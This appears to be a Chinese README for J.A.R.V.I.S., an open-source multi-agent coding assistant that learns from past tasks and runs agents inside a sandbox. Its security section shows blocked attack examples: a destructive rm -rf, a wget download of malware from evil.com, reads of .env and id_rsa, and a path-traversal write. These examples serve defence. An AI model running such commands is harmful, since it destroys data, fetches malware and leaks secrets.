KO | EN

GitLite

Minimalist Open Source Repository Search Engine

gitlite — search

#dsh #dsh-plugin #ai-agents #developer-tools #ai-agent #claude-code #mcp #typescript #codex #cli #rust #deepseek-harness

jarvis

★ 36 Open GitHub ↗

带终身学习机制的多智能体协作系统

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

# J.A.R.V.I.S. (Just A Rather Very Intelligent System)

**带终身学习机制的多智能体协作系统**

数据不出网 · 越用越聪明 · 自动提炼技能 · 六层安全防护

---

[![Python 3.10+](https://img.shields.io/badge/python-3.10+-blue.svg)](https://www.python.org/downloads/)
[![License](https://img.shields.io/badge/license-Apache%202.0-green.svg)](https://raw.githubusercontent.com/Yzy1223/jarvis/master/LICENSE)
[![LangChain](https://img.shields.io/badge/LangChain-0.2+-orange.svg)](https://github.com/langchain-ai/langchain)
[![LangGraph](https://img.shields.io/badge/LangGraph-0.1+-purple.svg)](https://github.com/langchain-ai/langgraph)

---

## 🎯 核心理念

> **打造一个越用越聪明、越用越顺手的类人型智能助理。**

通过三层 Agent 协作完成复杂任务，并借助满意度反馈与记忆进化，实现从"经验"到"技能"的自动提炼。

**当前版本：** v2.1

---

## ✨ 为什么做这个

现有 AI 编程助手（Cursor、GitHub Copilot、Devin）都有一个问题：**每次对话都是全新开始，不会从历史任务中学习**。

J.A.R.V.I.S. 的思路不同：

- ✅ **记住每次成功的经验**：用户满意后自动提炼经验，向量化存储
- ✅ **自动孵化可复用技能**：经验被使用 ≥3 次 → 自动提炼为 Skill
- ✅ **越用越懂你的项目**：World Model 持续更新项目结构、依赖关系、用户偏好
- ✅ **失败也能学习**：Reflection Engine 深度反思，避免重蹈覆辙

---

## 🚀 核心特性

### 1. 三层 Agent 架构

```
┌─────────────────────────────────────────────────────────────┐
│ 第一层：规划与编排 (Orchestrator)                             │
│ • 意图识别 → 技术栈推荐 → 任务拆解 → 动态创建 Worker 集群      │
└─────────────────────────┬───────────────────────────────────┘
                          ↓
┌─────────────────────────────────────────────────────────────┐
│ 第二层：执行 Agent 集群 (Workers)                             │
│ • Frontend Agent · Backend Agent · Database Agent · Test Agent │
│ • 实际写代码、执行命令、操控电脑                               │
└─────────────────────────┬───────────────────────────────────┘
                          ↓
┌─────────────────────────────────────────────────────────────┐
│ 第三层：校验与进化 (Inspector & Cortex)                       │
│ • Inspector: A2A/MCP 协议校验，不合规退回修正                 │
│ • Cortex: 满意度驱动的经验提炼与向量化存储                     │
│ • Skill Forge: 经验被用 ≥3 次 → 自动提炼为可复用技能          │
│ • Reflection Engine: 深度反思，五维分析失败原因               │
└─────────────────────────────────────────────────────────────┘
```

### 2. 终身学习机制

| 阶段 | 触发条件 | 效果 |
|------|---------|------|
| **经验提炼** | 用户满意 | Cortex 提取执行步骤、用户偏好、成功模式 → 向量存储 |
| **技能孵化** | 经验被使用 ≥3 次 | Skill Forge 自动提炼为可复用 Skill |
| **直接调用** | 第 4 次遇到同类任务 | Orchestrator 跳过讨论，直接执行 |

**实际效果：**
- 第 1 次：完整讨论 + 执行（5 分钟）
- 第 2-3 次：检索到经验，参考执行（3 分钟）
- 第 4 次起：直接调用 Skill（1 分钟）

### 3. 六层安全防护

| 防护层 | 机制 | 拦截示例 |
|--------|------|---------|
| **路径沙盒** | 所有文件操作限制在项目目录内 | `../../../etc/passwd` → ❌ |
| **敏感文件黑名单** | 禁止读写 `.env`、`id_rsa` 等 | `read_file(".env")` → ❌ |
| **Shell 白名单** | 只允许 `pip`、`npm`、`git` 等 | `wget malware.exe` → ❌ |
| **Shell 黑名单** | 绝对禁止 `rm -rf`、`shutdown` 等 | `rm -rf /` → ❌ |
| **MCP 协议校验** | 工具调用审计 + 敏感字段检测 | `{api_key: "xxx"}` → ❌ |
| **Inspector 实时校验** | 所有 Worker 输出经过检查 | 格式错误 → 退回修正 |

**Agent 基本不可能跳出工作目录搞破坏！**

### 4. World Model（系统世界状态）

Agent 不仅理解 Prompt，还理解：
- 当前项目结构
- 模块依赖关系
- 系统运行状态
- 用户长期偏好
- 动态环境变化

**与 agent.md 的关系：**
- `agent.md`：行为规范（安全规则、输出规范、工具约束）
- `WorldModel`：动态系统状态（项目结构、依赖关系、运行状态）

### 5. Reflection Engine（反思引擎）

**轻量反思**（每次任务自动触发）：
- 记录执行路径
- 记录性能指标
- 记录返工点
- 总结成功模式

**深度反思**（用户不满意时触发）：
- **五维分析**：目标偏差、决策错误、执行错误、协作错误、工具失败
- 生成 Reflection Log
- 更新 World Model 和 agent.md 规则

---

## 📦 快速开始

### 系统要求

- Python 3.10+
- 任意 OpenAI 兼容 API（DeepSeek / 硅基流动 / Qwen 云端 / 本地 Ollama）

### 安装

```bash
cd jarvis
pip install -r requirements.txt

# 国内加速
pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
```

### 配置 API Key

编辑 `.env` 文件：

```bash
OPENAI_API_KEY=your-api-key-here
OPENAI_BASE_URL=https://api.openai-proxy.org/v1
OPENAI_MODEL=gpt-4o
```

**支持的 API：**
- OpenAI / Azure OpenAI
- DeepSeek (`https://api.deepseek.com`)
- 硅基流动 (`https://api.siliconflow.cn/v1`)
- Qwen 云端
- 本地 Ollama (`http://localhost:11434/v1`)

### 启动

```bash
# 简单模式（推荐调试）
python main.py

# LangGraph 完整工作流模式（推荐生产）
python main.py graph
```

---

## 💡 使用示例

### 示例 1：学生成绩统计系统

**你输入：**
```
帮我写一个学生成绩统计系统，实现每次期末能录入学生成绩并自动算绩点，
模拟数据只模拟两个人数据。前端用 React，JS,CSS,HTML5
```

**系统执行流程：**

1. **意图识别** → 识别为 `fullstack_web` 任务
2. **检索经验/技能** → 第一次运行，经验库为空
3. **推荐技术栈** → `React 18 + FastAPI + SQLite（内存模式）`
4. **用户确认** → 你输入 "可以，就这样"
5. **任务拆解** → 3 个子任务：
   - 数据库设计（Student、Grade 模型）
   - 后端 API（CRUD + 绩点计算）
   - 前端界面（成绩录入表单 + 展示列表）
6. **Worker 执行** → 依次执行 DatabaseAgent → BackendAgent → FrontendAgent
7. **Inspector 校验** → 检查 A2A 消息格式、MCP 工具调用
8. **满意度询问** → 你输入 "满意"
9. **Cortex 提炼经验** → 向量化存入经验库
10. **Skill Forge 监控** → 使用次数 +1（达到 3 次后自动提炼为 Skill）

**第 4 次遇到同类任务时：**
```
J.A.R.V.I.S.: 我已有成熟的「create_student_grade_system」技能（成功率 100%），
可以直接开始。

推荐架构：React + FastAPI + SQLite

是否立即开始？
```

---

## 🏗️ 项目结构

```
jarvis/
├── agent.md                    # 全局 Agent 行为规范
├── main.py                     # 系统入口（Simple / Graph 模式）
├── requirements.txt            # Python 依赖
├── .env                        # 环境变量（API Key）
├── .gitignore                  # Git 忽略规则
│
├── config/                     # 全局配置
│   ├── settings.py             # 从 .env 读取配置
│   └── __init__.py
│
├── core/                       # 核心基础模块
│   ├── agent_base.py           # Agent 基类
│   ├── world_model.py          # 世界模型（单例）
│   ├── agent_md_cache.py       # agent.md KV 缓存
│   └── __init__.py
│
├── agents/                     # 三层 Agent 实现
│   ├── layer1_orchestrator/    # 第一层：规划与编排
│   │   ├── orchestrator.py     # 总指挥
│   │   ├── intent_recognizer.py # 意图识别
│   │   ├── task_planner.py     # 任务拆解
│   │   └── __init__.py
│   │
│   ├── layer2_workers/         # 第二层：执行 Agent 集群
│   │   ├── worker_base.py      # Worker 基类
│   │   ├── frontend_agent.py   # 前端 Worker
│   │   ├── backend_agent.py    # 后端 Worker
│   │   ├── database_agent.py   # 数据库 Worker
│   │   ├── test_agent.py       # 测试 Worker
│   │   └── __init__.py
│   │
│   └── layer3_inspector/       # 第三层：校验与进化
│       ├── inspector.py        # 协议校验
│       ├── cortex.py           # 经验提炼
│       ├── skill_forge.py      # 技能孵化
│       ├── reflection_engine.py # 反思引擎
│       └── __init__.py
│
├── protocols/                  # A2A / MCP 协议实现
│   ├── a2a.py                  # Agent-to-Agent 协议
│   ├── mcp.py                  # Model Context Protocol
│   └── __init__.py
│
├── tools/                      # 行动层工具集
│   ├── shell_exec.py           # Shell 命令执行
│   ├── file_write.py           # 文件写入
│   ├── file_read.py            # 文件读取
│   ├── browser_action.py       # 无头浏览器控制
│   └── __init__.py
│
├── memory/                     # 记忆与存储
│   ├── vector_store.py         # Chroma 向量数据库
│   ├── experience_store.py     # 经验库管理
│   ├── skill_store.py          # 技能库管理
│   └── __init__.py
│
├── models/                     # 数据模型定义
│   ├── task.py                 # Task + SubTask
│   ├── experience.py           # 经验摘要
│   ├── skill.py                # 可复用技能
│   ├── reflection_log.py       # 反思日志
│   └── __init__.py
│
├── graph/                      # LangGraph 工作流编排
│   ├── main_graph.py           # 主工作流图
│   └── __init__.py
│
├── data/                       # 数据存储（自动创建）
│   └── chroma/                 # 向量数据库
│       ├── experiences/        # 经验库
│       └── skills/             # 技能库
│
└── logs/                       # 日志文件（自动创建）
    └── jarvis.log              # 系统运行日志
```

---

## 🔬 核心技术原理

### 原理一：三层 Agent 解耦

**传统 Agent 问题：**
- 单一 Agent 承担所有职责（理解、规划、执行、校验）
- 出错后难以定位问题
- 无法积累经验

**J.A.R.V.I.S. 解法：**
- **第一层**：只做规划，不执行
- **第二层**：只做执行，不决策
- **第三层**：只做校验和进化，不干预执行

**好处：**
- 职责清晰，易于调试
- 每层可独立优化
- 第三层可以持续学习，不影响执行层

### 原理二：满意度驱动的记忆提炼

**理论来源：**
- EE-MCP (NeurIPS 2025)：从任务轨迹自动提取经验
- Reflexion (NeurIPS 2023)：失败模式持久化

**J.A.R.V.I.S. 实现：**

```python
用户满意
  ↓
Cortex 回顾完整对话历史
  ↓
LLM 提取：执行步骤 + 用户偏好 + 成功模式
  ↓
生成 Experience 对象
  ↓
Embedding 向量化
  ↓
存入 Chroma 向量库
```

**关键设计：**
- 只在用户满意时提炼（避免学习错误经验）
- 向量化后支持语义检索（不是简单的关键词匹配）
- 记录使用次数，触发 Skill Forge

### 原理三：经验 → 技能的自动进化

**理论来源：**
- SICA (arXiv:2504.15228)：自我改进编码代理

**J.A.R.V.I.S. 实现：**

```python
经验被使用 1 次 → use_count = 1
经验被使用 2 次 → use_count = 2
经验被使用 3 次 → 触发 Skill Forge
  ↓
LLM 横向对比 3 次使用上下文
  ↓
提炼通用执行步骤 + 决策逻辑 + 避坑原则
  ↓
生成 Skill 对象
  ↓
存入技能库
```

**关键设计：**
- 阈值可配置（默认 3 次）
- 提炼时对比多次上下文，提取稳定模式
- Skill 包含 `prompt_template`，Orchestrator 可直接调用

### 原理四：A2A + MCP 双协议保障

**A2A (Agent-to-Agent) 协议：**
- 所有 Agent 间通信必须使用标准消息格式
- 包含 `sender`、`receiver`、`message_type`、`payload`、`timestamp`
- Inspector 实时校验，不合规退回修正

**MCP (Model Context Protocol) 协议：**
- 所有工具调用必须携带上下文（`session_id`、`agent_name`、`task_id`）
- 工具白名单：只允许 `shell_exec`、`file_write`、`file_read`、`browser_action`
- 敏感字段检测：禁止在 parameters 中传递 `api_key`、`password` 等

**好处：**
- 异构 Agent 可互操作
- 所有通信可审计
- 安全策略统一执行

### 原理五：World Model 持续更新

**传统 Agent 问题：**
- 只有对话历史，没有系统状态
- 不知道当前项目结构、依赖关系
- 每次都要重新理解项目

**J.A.R.V.I.S. 解法：**

```python
DatabaseAgent 完成
  ↓
更新 WorldModel.project_structure
  ↓
更新 WorldModel.dependencies (backend → database)
  ↓
更新 WorldModel.service_status (database: schema_ready)
  ↓
BackendAgent 执行前读取 WorldModel
  ↓
知道数据库已就绪，可以直接开发 API
```

**关键设计：**
- 单例模式，所有 Agent 共享
- 每个 Agent 执行前调用 `_pre_action_check()` 刷新
- 记录项目结构、模块依赖、文件影响图、服务状态、用户偏好

---

## 🛡️ 安全机制详解

### 场景 1：Agent 尝试删除系统文件

```python
# Agent 生成的恶意命令
exec_shell("rm -rf /etc/passwd")
```

**防护结果：**
```
❌ PermissionError: 禁止执行破坏性命令: rm -rf
🔒 第 3 层拦截（Shell 黑名单）
```

### 场景 2：Agent 尝试读取 API Key

```python
# Agent 尝试读取 .env
read_file(".env")
```

**防护结果：**
```
❌ PermissionError: 禁止读取敏感文件: .env
🔒 第 2 层拦截（敏感文件黑名单）
```

### 场景 3：Agent 尝试越界写文件

```python
# Agent 尝试写入项目外
write_file("../../../tmp/malware.sh", "evil code")
```

**防护结果：**
```
❌ PermissionError: 文件路径越界: /tmp/malware.sh
🔒 第 1 层拦截（路径沙盒）
```

### 场景 4：Agent 尝试下载恶意软件

```python
# Agent 尝试用 wget 下载
exec_shell("wget http://evil.com/malware.exe")
```

**防护结果：**
```
❌ PermissionError: 命令 'wget' 不在白名单内
🔒 第 3 层拦截（Shell 白名单）
```

---

## 📊 与竞品对比

| 功能 | Cursor | GitHub Copilot | Devin | J.A.R.V.I.S. |
|------|--------|----------------|-------|--------------|
| **数据安全** | ❌ 代码上传云端 | ❌ 代码上传云端 | ❌ 代码上传云端 | ✅ 全部本地 |
| **终身学习** | ❌ | ❌ | ❌ | ✅ 独有 |
| **技能孵化** | ❌ | ❌ | ❌ | ✅ 独有 |
| **World Model** | ❌ | ❌ | ❌ | ✅ 独有 |
| **Reflection Engine** | ❌ | ❌ | ❌ | ✅ 独有 |
| **多 Agent 协作** | ❌ | ❌ | ✅ | ✅ |
| **协议校验** | ❌ | ❌ | ❌ | ✅ A2A + MCP |
| **开源** | ❌ | ❌ | ❌ | ✅ Apache 2.0 |

---

## 🔧 技术栈

| 组件 | 技术选型 |
|------|----------|
| 基础 Agent 框架 | LangChain + LangGraph |
| A2A 协议 | 自研（参考 Google A2A 标准） |
| MCP 协议 | 自研（参考 Anthropic MCP 规范） |
| 向量数据库 | Chroma（本地持久化） |
| Embedding 模型 | OpenAI text-embedding-3-large |
| 行为规范缓存 | 内存 KV 存储（可选 Redis） |
| 日志系统 | Loguru |
| 配置管理 | Pydantic Settings |

---

## 📚 参考文献

| 论文/项目 | 来源 | J.A.R.V.I.S. 中的应用 |
|-----------|------|---------------------|
| **Agentless** | Xia et al., ICSE 2025 | 确定性流水线优于复杂 agent，三层架构基于此思路 |
| **EE-MCP** | NeurIPS 2025 | 任务轨迹经验提取，Cortex 的核心机制 |
| **SICA** | arXiv:2504.15228 | 自我改进编码代理，Skill Forge 借鉴其自我优化循环 |
| **Reflexion** | Shinn et al., NeurIPS 2023 | 失败模式持久化，Reflection Engine 直接实现 |
| **Claude Code** | Anthropic | agent.md 行为规范、Checkpoint 机制、Inspector 设计 |
| **Google A2A** | Google | Agent-to-Agent 协议标准 |
| **Anthropic MCP** | Anthropic | Model Context Protocol 规范 |

---

## 🤝 参与贡献

欢迎贡献代码！详细规范见 [CONTRIBUTING.md](CONTRIBUTING.md)。

### 快速开始

```bash
git clone https://github.com/your-username/jarvis.git
cd jarvis
pip install -r requirements.txt
python -m pytest tests/ -v
```

### 最欢迎的贡献

| 类型 | 说明 |
|------|------|
| **新增 Worker** | 创建新的专业 Agent（如 DevOps Agent、Security Agent） |
| **Bug 修复** | 附复现步骤和测试用例 |
| **性能优化** | 向量检索速度、LLM 调用优化 |
| **文档完善** | 使用教程、API 文档 |

---

## 📄 License

Apache 2.0

---

## 🙏 致谢

感谢以下项目的启发：
- [LangChain](https://github.com/langchain-ai/langchain) - Agent 框架基础
- [LangGraph](https://github.com/langchain-ai/langgraph) - 工作流编排
- [Chroma](https://github.com/chroma-core/chroma) - 向量数据库
- [Claude Code](https://www.anthropic.com) - agent.md 行为规范设计
- [kwcode](https://github.com/val1813/kwcode) - README 风格参考

---

## 📮 联系方式

- **Issues**: [GitHub Issues](https://github.com/your-username/jarvis/issues)
- **Discussions**: [GitHub Discussions](https://github.com/your-username/jarvis/discussions)

---

**让 AI 助手真正理解你的项目，越用越聪明！** 🚀

jarvis

Explore Similar Repositories

Was this content helpful?

Recent Feedback

Download README